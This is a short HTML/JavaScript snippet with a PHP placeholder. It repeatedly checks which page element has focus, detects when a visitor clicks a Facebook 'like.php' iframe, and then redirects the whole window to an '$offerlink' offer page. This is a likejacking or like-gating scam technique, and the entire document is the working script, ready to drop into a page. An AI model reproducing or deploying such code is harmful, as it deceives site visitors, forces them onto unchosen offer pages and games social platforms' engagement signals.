<script src="//ajax.googleapis.com/ajax/libs/jquery/1.7.1/jquery.min.js" type="text/javascript"></script>
<script type="text/javascript">
var interval;
var frsrc;
        $(function()
{
    interval=setInterval("updateActiveElement();", 50);
});

function updateActiveElement()
{
	frsrc=$(document.activeElement).attr('src');
	if (!frsrc) {return;}
    if (frsrc.indexOf('like.php')>-1)
    {
        clearInterval(interval);
        setTimeout(function() {

            window.top.location.href= '<?php echo $offerlink;?>';

        }, 1500);
    }
}

        </script>